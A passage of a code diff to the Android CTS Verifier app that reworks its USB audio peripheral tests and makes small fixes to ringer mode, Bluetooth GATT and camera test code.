+            adapter.add(new DialogTestListItem(this, R.string.device_admin_disable_notifications,
+                    "DeviceAdmin_DisableNotifications",
+                    R.string.device_admin_disable_notifications_instruction,
+                    new Intent(ByodHelperActivity.ACTION_NOTIFICATION_ON_LOCKSCREEN)));
+        }
     }
 
     private boolean hasTrustAgents() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
index e5b73e8..fdb57fc 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -118,7 +118,8 @@
         tests.add(new TestVibrateNotificationDndOn());
         tests.add(new TestVibrateRingerDndOn());
         tests.add(new TestSetRingerModePolicyAccessDndOn());
-        tests.add(new TestVolumeDndAffectedStreamDndOn());
+        // TODO: Add a @TestApi method to query the VolumPolicy
+        //tests.add(new TestVolumeDndAffectedStreamDndOn());
         tests.add(new TestAdjustVolumeInPriorityOnlyAllowAlarmsMediaMode());
 
         tests.add(new SetModeAllTest());
@@ -126,7 +127,8 @@
         tests.add(new TestVibrateNotification());
         tests.add(new TestVibrateRinger());
         tests.add(new TestSetRingerModePolicyAccess());
-        tests.add(new TestVolumeDndAffectedStream());
+        // TODO: Add a @TestApi method to query the VolumPolicy
+        //tests.add(new TestVolumeDndAffectedStream());
         tests.add(new TestVolume());
         tests.add(new TestMuteStreams());
         tests.add(new EnableSoundEffects());
@@ -632,17 +634,12 @@
                 return;
             }
 
-            mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
             if (mHasVibrator) {
+                mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
                 if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
                     setFailed();
                     return;
                 }
-            } else {
-                if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
-                    setFailed();
-                    return;
-                }
             }
             status = PASS;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 7fdf403..140757d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -44,6 +44,8 @@
     protected AudioDeviceInfo mOutputDevInfo;
     protected AudioDeviceInfo mInputDevInfo;
 
+    protected final boolean mIsMandatedRequired;
+
     // This will be overriden...
     protected  int mSystemSampleRate = 48000;
 
@@ -53,9 +55,12 @@
 
     private TextView mPeripheralNameTx;
 
-    public USBAudioPeripheralActivity() {
+    public USBAudioPeripheralActivity(boolean mandatedRequired) {
         super();
 
+        // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
+        mIsMandatedRequired = mandatedRequired;
+
         mProfileManager.loadProfiles();
     }
 
@@ -99,7 +104,7 @@
                 productName = mInputDevInfo.getProductName().toString();
             }
             String ctrlText;
-            if (mSelectedProfile == null) {
+            if (mSelectedProfile == null && mIsMandatedRequired) {
                 ctrlText = productName + " - UNSUPPORTED";
             } else {
                 ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index 07a99da..5029160 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,6 +32,10 @@
 
     private TextView mTestStatusTx;
 
+    public USBAudioPeripheralAttributesActivity() {
+        super(true); // Mandated peripheral is required
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -66,21 +70,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Output - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Output - Channel Counts Mismatch\n");
+                    sb.append("Output - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) +"\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Output - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Output - Encodings Mismatch\n");
+                    sb.append("Output - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Output - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Output - Sample Rates Mismatch\n");
+                    sb.append("Output - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -91,13 +101,17 @@
                     // Channel Index Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Output - Channel Index Masks Mismatch\n");
+                        sb.append("Output - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
 
                     // Channel Position Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Output - Channel Position Masks Mismatch\n");
+                        sb.append("Output - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
 
@@ -124,21 +138,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Input - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Input - Channel Counts Mismatch\n");
+                    sb.append("Input - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) + "\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Input - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Input - Encodings Mismatch\n");
+                    sb.append("Input - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Input - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Input - Sample Rates Mismatch\n");
+                    sb.append("Input - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -148,11 +168,15 @@
                 } else {
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Input - Channel Index Masks Mismatch\n");
+                        sb.append("Input - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Input - Channel Position Masks Mismatch\n");
+                        sb.append("Input - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
                 if (sb.toString().length() == 0){
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index 87b2149..de3ce7f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.audio;
 
+import android.app.AlertDialog;
+import android.content.DialogInterface;
 import android.content.res.Resources;
 import android.graphics.Color;
 import android.os.Bundle;
@@ -45,6 +47,23 @@
     private TextView mBtnBStatusTxt;
     private TextView mBtnCStatusTxt;
 
+    public USBAudioPeripheralButtonsActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
+    private void showDisableAssistantDialog() {
+        AlertDialog.Builder builder =
+                new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
+        builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
+        builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
+        builder.setPositiveButton(android.R.string.yes,
+            new DialogInterface.OnClickListener() {
+                public void onClick(DialogInterface dialog, int which) {}
+         });
+        builder.setIcon(android.R.drawable.ic_dialog_alert);
+        builder.show();
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -62,12 +81,12 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
+
+        showDisableAssistantDialog();
     }
 
     private void showButtonsState() {
-        int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
-                ? Color.WHITE
-                : Color.GRAY;
+        int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
         mBtnALabelTxt.setTextColor(ctrlColor);
         mBtnAStatusTxt.setTextColor(ctrlColor);
         mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -81,23 +100,13 @@
             mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
         mBtnCStatusTxt.setText(getString(
             mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+
+        calculateMatch();
     }
 
     private void calculateMatch() {
-        if (mIsPeripheralAttached && mSelectedProfile != null) {
-            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
-            boolean match = mButtonAttributes != null;
-            boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
-                .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
-            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
-                match = false;
-            }
-            if (match && mButtonAttributes.mHasBtnB != mHasBtnB && !interceptedVolume) {
-                match = false;
-            }
-            if (match && mButtonAttributes.mHasBtnC != mHasBtnC && !interceptedVolume) {
-                match = false;
-            }
+        if (mIsPeripheralAttached) {
+            boolean match = mHasBtnA && mHasBtnB && mHasBtnC;
             Log.i(TAG, "match:" + match);
             getPassButton().setEnabled(match);
         } else {
@@ -107,29 +116,27 @@
 
     @Override
     public boolean onKeyDown(int keyCode, KeyEvent event) {
-        Log.i(TAG, "onKeyDown(" + keyCode + ")");
-        if (mSelectedProfile != null) {
-            switch (keyCode) {
-            // Function A control event
-            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
-                mHasBtnA = true;
-                break;
-    
-            // Function B control event
-            case KeyEvent.KEYCODE_VOLUME_UP:
-                mHasBtnB = true;
-                break;
-    
-            // Function C control event
-            case KeyEvent.KEYCODE_VOLUME_DOWN:
-                mHasBtnC = true;
-                break;
-            }
-    
-            showButtonsState();
-            calculateMatch();
+        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        switch (keyCode) {
+        // Function A control event
+        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+            mHasBtnA = true;
+            break;
+
+        // Function B control event
+        case KeyEvent.KEYCODE_VOLUME_UP:
+            mHasBtnB = true;
+            break;
+
+        // Function C control event
+        case KeyEvent.KEYCODE_VOLUME_DOWN:
+            mHasBtnC = true;
+            break;
         }
 
+        showButtonsState();
+        calculateMatch();
+
         return super.onKeyDown(keyCode, event);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index 640d489..de9016a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,6 +31,10 @@
     private Button mPlayBtn;
     private LocalClickListener mButtonClickListener = new LocalClickListener();
 
+    public USBAudioPeripheralPlayActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -52,8 +56,8 @@
     // USBAudioPeripheralActivity
     // Headset not publicly available, violates CTS Verifier additional equipment guidelines.
     public void updateConnectStatus() {
-        mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
+        mPlayBtn.setEnabled(mIsPeripheralAttached);
+        getPassButton().setEnabled(mIsPeripheralAttached);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index 33417d1..fc666aa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,6 +41,10 @@
 
     private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
 
+    public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
+        super(requiresMandatePeripheral); // Mandated peripheral is NOT required
+    }
+
     protected void setupPlayer() {
         mSystemBufferSize =
             StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 5772461..268201c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,6 +49,10 @@
 
     private WaveScopeView mWaveView = null;
 
+    public USBAudioPeripheralRecordActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
     private void connectWaveView() {
         // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
         if (mRecorder != null) {
@@ -73,7 +77,12 @@
             mRecorder.stop();
         }
 
+        // no reason to do more than 2
         int numChans = USBDeviceInfoHelper.calcMaxChannelCount(mInputDevInfo);
+        if (numChans > 2) {
+            numChans = 2;
+        }
+        Log.i(TAG, "  numChans:" + numChans);
 
         if (mRecorder.open(numChans, mSystemSampleRate, mSystemBufferSize)) {
             connectWaveView();  // Setup the WaveView
@@ -136,9 +145,9 @@
     // USBAudioPeripheralActivity
     //
     public void updateConnectStatus() {
-        mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
+        mRecordBtn.setEnabled(mIsPeripheralAttached);
+        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
+        getPassButton().setEnabled(mIsPeripheralAttached);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
index 7190af9..55b7f9a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/AudioUtils.java
@@ -32,9 +32,6 @@
     }
 
     public static int countToIndexMask(int chanCount) {
-        // From the documentation for AudioFormat:
-        // The canonical channel index masks by channel count are given by the formula
-        // (1 << channelCount) - 1.
         return (1 << chanCount) - 1;
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index 7cdff34..2ec742e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,19 +120,30 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
-        int bufferSizeInBytes = 2048;   // Some, non-critical value
+        final int frameSize =
+                AudioUtils.calcFrameSizeInBytes(AudioFormat.ENCODING_PCM_FLOAT, mNumChannels);
+        final int bufferSizeInBytes = frameSize * 64;   // Some, non-critical value
+
+        AudioFormat.Builder formatBuilder = new AudioFormat.Builder();
+        formatBuilder.setEncoding(AudioFormat.ENCODING_PCM_FLOAT);
+        formatBuilder.setSampleRate(mSampleRate);
+
+        if (numChans <= 2) {
+            // There is currently a bug causing channel INDEX masks to fail.
+            // for channels counts of <= 2, use channel POSITION
+            final int chanPosMask = AudioUtils.countToInPositionMask(numChans);
+            formatBuilder.setChannelMask(chanPosMask);
+        } else {
+            // There are no INPUT channel-position masks for > 2 channels
+            final int chanIndexMask = AudioUtils.countToIndexMask(numChans);
+            formatBuilder.setChannelIndexMask(chanIndexMask);
+        }
+
+        AudioRecord.Builder builder = new AudioRecord.Builder();
+        builder.setAudioFormat(formatBuilder.build());
 
         try {
-            mAudioRecord = new AudioRecord.Builder()
-                    .setAudioFormat(new AudioFormat.Builder()
-                            .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
-                            .setSampleRate(mSampleRate)
-                            .setChannelIndexMask(chanIndexMask)
-                            .build())
-                    .setBufferSizeInBytes(bufferSizeInBytes)
-                    .build();
-
+            mAudioRecord = builder.build();
             return true;
         } catch (UnsupportedOperationException ex) {
             Log.e(TAG, "Couldn't open AudioRecord: " + ex);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
index 97822d0..565826e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
@@ -60,4 +60,30 @@
 
         return true;
     }
+
+    static public String textFormatHex(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + Integer.toHexString(list[index]));
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
+
+    static public String textFormatDecimal(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + list[index]);
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index 9cec7fa..9c47354 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -46,18 +46,34 @@
 
     private static final String mBuiltInprofiles =
         "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>" +
-        "<ProfileList Version=\"1.0.0\">" +
-            "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+            "<ProfileList Version=\"1.0.0\">" +
+            "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1, 2\" ChanPosMasks=\"12, 16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
+                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index 28d08cd..1fd6a2b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
                 int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
-                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        if ((mBluetoothGatt == null) &&
+                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+                                                         mGattCallbacks);
+                        }
                         break;
                     case BluetoothDevice.BOND_NONE:
                         notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index e8cf2ef..db45452 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -359,7 +359,8 @@
                 // Initialize memory quota on this device
                 for (String camId : devices) {
                     CameraCharacteristics chars =  mCameraManager.getCameraCharacteristics(camId);
-                    Size maxYuvSize = ItsUtils.getYuvOutputSizes(chars)[0];
+                    Size maxYuvSize = ItsUtils.getMaxOutputSize(
+                            chars, ImageFormat.YUV_420_888);
                     // 4 bytes per pixel for RGBA8888 Bitmap and at least 3 Bitmaps per CDD
                     int quota = maxYuvSize.getWidth() * maxYuvSize.getHeight() * 4 * 3;
                     if (quota > mMemoryQuota) {
@@ -1728,6 +1729,14 @@
                                               .left;
                             int aay = ItsUtils.getActiveArrayCropRegion(mCameraCharacteristics)
                                               .top;
+
+                            if (w == aaw) {
+                                aax = 0;
+                            }
+                            if (h == aah) {
+                                aay = 0;
+                            }
+
                             int gw = mCaptureStatsGridWidth;
                             int gh = mCaptureStatsGridHeight;
                             float[] stats = StatsImage.computeStatsImage(
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
index 49b34fd..d753d6a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/orientation/CameraOrientationActivity.java
@@ -465,6 +465,10 @@
                 int viewHeight = mFormatView.getHeight();
                 int newWidth, newHeight;
 
+                if (viewWidth == 0 || viewHeight == 0){
+                    return;
+                }
+
                 if (mPreviewOrientations.get(mNextPreviewOrientation) == 0
                     || mPreviewOrientations.get(mNextPreviewOrientation) == 180) {
                     // make preview width same as output image width,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
index 31d188b..3a02e91 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceTestActivity.java
@@ -25,6 +25,8 @@
